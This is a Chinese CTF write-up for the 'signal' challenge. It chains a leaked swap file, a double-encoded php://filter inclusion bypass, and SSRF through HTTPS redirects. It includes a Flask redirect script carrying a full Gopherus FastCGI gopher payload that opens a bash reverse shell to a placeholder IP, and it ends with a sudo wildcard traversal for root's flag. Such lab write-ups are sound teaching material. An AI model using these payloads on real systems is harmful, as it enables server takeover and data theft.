国城杯复现

signal

提示:cgi

显示一个登录框,还是信息搜集

image-20241211214748477

用dirsearch搜索到index.php.swp:

image-20241211214840817

获取这个拿到信息:

1
guest:MyF3iend

登录:

image-20241211214958561

可以目录穿越读flag,但是是假的

image-20241211215033684

开始尝试包含文件,发现包含admin.php文件会直接跳转回index.php页面,说明php代码是被解析了 的,所以可以知道后端就是Include函数来包含的,因为这里解析了php代码,所以现在就是看如何进行 文件包含,并且是需要将其编码输出才能成功文件包含读取代码。

其实这里是有几个非预期的,比如fileter chian、侧信道读取文件等,然后设置为只能get传参,禁了很 多filter chain需要用的过滤器的部分的字符,想着fuzz都很难fuzz出来,所以也是打不了的(想着可以 报419的错误),这里为了禁这些非预期是下了狠手的,虽然只是一个简单的二次编码绕过的考点。所 以直接像下面这个这样传参即可(ps:还是没防住,忘了禁读guest.php了,导致明牌waf,被filter

chain非预期了):

二次编码绕过:

1
php://filter/%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25% 32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25 %36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=admin.php

获得admin.php源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
session_start();
error_reporting(0);

if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'admin') { $_SESSION['error'] = 'Please fill in the username and password';
header("Location: index.php");
exit(); }

$url = $_POST['url']; $error_message = ''; $page_content = '';

if (isset($url)) {
if (!preg_match('/^https:\/\//', $url)) {
$error_message = 'Invalid URL, only https allowed'; } else {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $page_content = curl_exec($ch);
if ($page_content === false) {
$error_message = 'Failed to fetch the URL content'; }
curl_close($ch); }
}
?>

发现:

1
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 

发现是允许跟随302跳转的,并且是接受POST传参url的,但是是加了session验证的,所以是需要知道 怎么登陆进这个admin页面的,所以现在是需要找在哪里可以得到admin的账户。继续信息收集,可以 在最开始的登录页面的源代码中看到如下代码:

image-20241211215448844

这还有个php,读一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
session_start();

$users = [
'admin' => 'FetxRuFebAdm4nHace',
'guest' => 'MyF3iend' ];

if (isset($_POST['username']) && isset($_POST['password'])) {
$username = $_POST['username']; $password = $_POST['password'];

if (isset($users[$username]) && $users[$username] === $password) { $_SESSION['logged_in'] = true;
$_SESSION['username'] = $username;

if ($username === 'admin') {
header('Location: admin.php');
} else {
header('Location: guest.php'); }
exit(); } else {
$_SESSION['error'] = 'Invalid username or password';
header('Location: index.php'); exit();
}
} else {
$_SESSION['error'] = 'Please fill in the username and password'; header('Location: index.php');
exit();

?>

得到账号,登录admin

image-20241211215553406

获得这个东西,可以进行ssrf,因为admin.php源码是说的可以进行302跳转的,我们可以进行ssrf302跳转,然而只能用https协议

就得用ngrok这个来将http转成https来进行绕过

ssrf:

image-20241211215854696

通过用公网地址让靶机访问公网的服务器,然后公网机给一个127.0.0.1访问靶机的内容,这里可以用**Gopherus**来进行shell反弹(就是命令执行)

由于ngrok的特殊性,使得用于的公网机可以是自己的私网地址,我用的就是自己的kali

用gopherus来获得payload:

image-20241211220321397

将其贴入

python脚本:

1
2
3
4
5
6
7
8
9
from flask import Flask, redirect 
app =Flask(__name__)
@app.route('/')
def indexRedirect():
redirectUrl ='gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH105%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/admin.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00i%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/【IP】/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00'
return redirect(redirectUrl)

if __name__ == '__main__':
app.run('0.0.0.0', port=8080, debug=True)

在kali里面运行python脚本:

image-20241211220509309

再运行ngrok:

image-20241211220530102

1
ngrok http 8080

image-20241211220555879

可以看见已经变成https的公网地址

直接放入admin.php中

1
https://6b43-111-22-76-69.ngrok-free.app

submit

image-20241211221201883

谈到了:

但是cat 不了flag(没找到):

1
find / -name flag*

寻找所有带有flag名字的文件

image-20241211221310459

找到这个flag:

image-20241211221327004

再次提示不是这个flag

还没有权限

1
sudo -l

image-20241211221438025

因为此处无密码sudo的cat可读路径用了*进行通配,所以可以尝试目录穿越,如下读取flag即可:

1
sudo cat /tmp/whereflag/../../../root/flag

最后获取flag:

image-20241211221603553

爽啦!(终于复现了一道难的题目,555)